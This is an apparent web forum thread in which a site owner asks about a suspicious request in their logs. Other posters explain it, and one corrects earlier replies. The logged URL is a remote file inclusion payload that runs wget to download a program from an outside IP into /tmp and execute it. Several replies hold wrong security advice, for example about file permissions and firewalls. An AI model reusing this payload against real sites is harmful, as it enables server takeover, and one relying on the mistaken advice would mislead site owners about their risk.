PHP/SQL Injection

[grungee]

I found the following in my logs and was wondering was it an attempt at hacking the system or something less sinister? Could someone shed some light I went to the url in there and its just a page saying I am sick of this world happy birthday.

"index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20128.173.40.113/listen;chmod%20744%20listen;./listen;echo%20YYY;echo|"

[Connie]

Don't use PHP but it does have some security issues that you need to keep up on.

I'm just assuming based on your post that the page was on your site. If that's the case I would say someone has hacked your site.

It will be interesting to see what the Tech guys/gals have to say.

[grungee]

I have checked the whole site out from top to bottom and can't see how or what they hacked, its on a site which only has a stats program, hmm its worrying will have to investigate it a bit more.

[g1smd]

They were trying to change permissions of certain files on your site, so that they were accessible to hackers.

[grungee]

Hi g1, do you know what files? and is it possible to change permissions like that? is it to do with global variables or am I on the wrong track?

[g1smd]

cd - change directory

chmod - change permissions


I don't know which (of the two) IP is your site: looks like they were using one site to attack another.

[grungee]

So they tried to change the permissions on my tmp folder, I just checked it was the same permission as before there were no files in there, how do you know if it worked or not?

[WebSavvy]

They can't change permissions on files w/o permission to do so. If the files are chmod 755, (which most are by server default) those files have read, write, execute by YOU, read, execute by everyone else.

If the files are chmod 777 it gives read, write, execute permissions to YOU and ALL OTHERS.

Your web host probably has a firewall in place that would prevent any brute force hacking attempts.

If your PHP is coded correctly, you don't have any worries. If you're not using insecure forms or forum software (without the latest patches) you also have no worries.

From the looks of it, they were trying to turn PHP globals ON so they could hack into another site using your site to do it. (hacker CYA so they don't know where the attack originated from).

Most servers now have PHP globals turned off by default because it's safer that way. Your web host probably has them off by default also.

[grungee]

Thank Deb, feel a little bit better now, I just checked all permissions and global and I don't have any files or folders with 777 permission and globals are off.

[WebSavvy]

Yeah, files that have "write" permissions (e.g., chmod 777, chmod 666) can be abused because in order for a hacker to have any success, the files must allow him/her to have permissions to "write" and to "execute."

PHP files are not safe when chmod 777
PHP files are not safe when chmod 666

If your PHP files require 777/666 permissions, those files must be placed above root, or in a pass protected folder (for server security reasons!)

Perl (CGI) files, are safe when chmod 777 (rarely use 666 permissions). Most Perl scripts are in cgi-bin (because folder has 777 permissions) and which is why most hosts will not allow CGI files to execute from outside CGI-BIN (which means they need to be placed in CGI-BIN to function).

Perl cannot be as easily abused (though it is possible) as a PHP file having the same permissions (e.g., 777 / 666)

:)

[Connie]

Deb I don't understand a lot about this permission stuff except that 777 is bad. I don't use any PHP. My shopping cart uses one .txt file and the permissions are .666. The .txt file is in a folder set to .775. Everything is in Perl.

My question. Is that .txt file with .666 permissions a hole that hackers could exploit?

[WebSavvy]

No, Connie. A .txt file with any permissions is SAFE. :)

Files must have .php or .pl/.cgi extension to be manipulated (e.g., used to hack a server when having 777/666 permissions).

A text file cannot and does not, execute any code. Text files used by CGI scripts are used like flat file dbs, or to hold plain text file info that the script needs in order to function. The reason for this is, because .txt files cannot run (function) inside CGI-BIN, nor can .html files placed there.

If a CGI script needs a .txt file (regardless of it's permission / chmod) that file must live in a folder where markup language can be interpreted.

Hope I've explained this well enough? :)

[Connie]

Hope I've explained this well enough?
Thanks Deb. You explained it well enough for me. :cheers:

[grungee]

Hi deb so I gather files and folders with 755, 750, 644 are safe, just the write command is bad if it is done wrong.

[WebSavvy]

Correct, Tony.

However, just because a folder may have chmod 755 it can house files that are chmod 777 or 666.

Files above root are not ones you would generally need to worry about.

Tony, it may well be that someone may have been trying the SQL injection hack through AWStats security holes. AWStats (if you have it) lives in the /tmp/ folder above root.

There have been quite a few sites that developed some issues following attacks on previous versions of AWStats that hadn't been patched yet.

AWStats has a lot of info on their site regarding this if you'd like to read up on it.

Most hosts (I would hope) have by now patched their software.

[grungee]

Thanks again deb, I do have awstats so I will look into that make sure it is patched, and upto date, I changed to a new host from hosting myself and still have a lot to learn about whm/cpanel and the rest of it, but thats a good start thanks.

[grungee]

I just checked and I am running Advanced Web Statistics 6.4 (build 1.814) and according to there site that is secure, but thanks again for the heads up.

[g1smd]

Hopefully this thread has woken up anyone reading it to go and check which version their site has.... right now.

[ArmenT]

Sorry to be so blunt about this, but there are so many wrong and BS answers in this thread, I don't know where to start. Honestly, I don't think you guys should start handing out security advice, otherwise it is a case of the blind leading the blind. You guys have completely misunderstood how this attack works.

Let's handle what the original URL means:
<snip>&cmd=cd%20/tmp;wget%20128.173.40.113/listen;chmod%20744%20listen;./listen;echo%20YYY;echo|"
What this attempts to do is exploit your script to run a series of unix commands:
1. cd /tmp - Change to the /tmp directory which is permissions 777 by default on a *nix system. I won't go into the details of why /tmp has 777 perms, but trust me, it is that way and done for a reason.
2. wget 128.173.40.113/listen - Run wget and download a program named listen into the /tmp directory. Interestingly, this IP block is allocated to Virginia Tech University.
3. ./listen - Execute the program that was just downloaded by wget
4. echo YYY - Echo's 3 Y characters in succession. In most rootkits, this is usually used to answer a prompt (such as "Ok to delete this file (y/n)"). So, one of the Y's could be used to answer a prompt to delete the program listen from /tmp. If this was the case, this means you won't find a file there in /tmp. Instead, it will only show up in your process list.
5. echo | - This is the pipe character, telling it to pass things via a pipe to another program,

Net conclusion: It looks like someone tried to download and run a program from your machine. Most of these types of attacks are to really run a zombie client on your computer and are used by mail spammers. If the attack was successful, you will see a program (probably called listen) listening on a certain port waiting for instructions. Usually, mail spammers use this daemon to forward email, so the sent mail has the IP address of your server, not theirs. You should check the list of running processes and open listening ports and see if there is one listening to a port that you don't understand. If you have no idea what I'm talking about, talk to your webhost (or a competent sysadmin) and ask them to check and see if there are any running daemons listening on a particular port that they can't account for. Of course, if your script had this particular hole patched, this attack would have failed. However, it never hurts to check.

As to the rest of the comments on the post here, there's a lot of misconceptions and outright BS here.

>> Don't use PHP but it does have some security issues that you need to keep up on.

Security is a process, not a language. Perl has the history of issues as well, especially if you use code written by Matt Wright (of formmail.pl infamy)

>> Your web host probably has a firewall in place that would prevent any brute force hacking attempts.

Firewalls don't do squat especially if the request comes in via the HTTP port (which is what the webserver is supposed to be serving through).

>> Most servers now have PHP globals turned off by default because it's safer that way. Your web host probably has them off by default also.

Nope. The situation is usually the other way around. PHP does come with register_globals turned off by default, but webhosts are forced to turn it on because script authors are too busy/lazy to fix their scripts.
Cases in point:
http://www.ihelpyouservices.com/forums/showthread.php?s=&threadid=19999
http://www.ihelpyouservices.com/forums/showthread.php?s=&threadid=19849 <-- Read this after the 10th post in the thread.
Incidentally, in this particular hack attempt, if the script is vulnerable, the setting of register_globals doesn't matter at all.

I won't even go into the rest of the errors in this thread, because there are too many to type, but remember these words: "Security is a process, not a language".

[WebSavvy]

Almost every host I have been at has globals off by default. They tell hosters that they must fix their own scripts to function with globals off.

I have one server that I have my domain on, and I use it with globals on.

The server I have my clients on is used with globals OFF.

Connie's response of "Don't use PHP" meant he doesn't use PHP.

People here were honestly trying to help. And anyone else who tries to help should simply just offer the help without having a nasty attitude toward others who were trying to help.

No one here claimed to be an authority on anything and even suggested where to find the necessary information.

We use firewall patches on my servers. I don't do anything with those myself, my server tech does.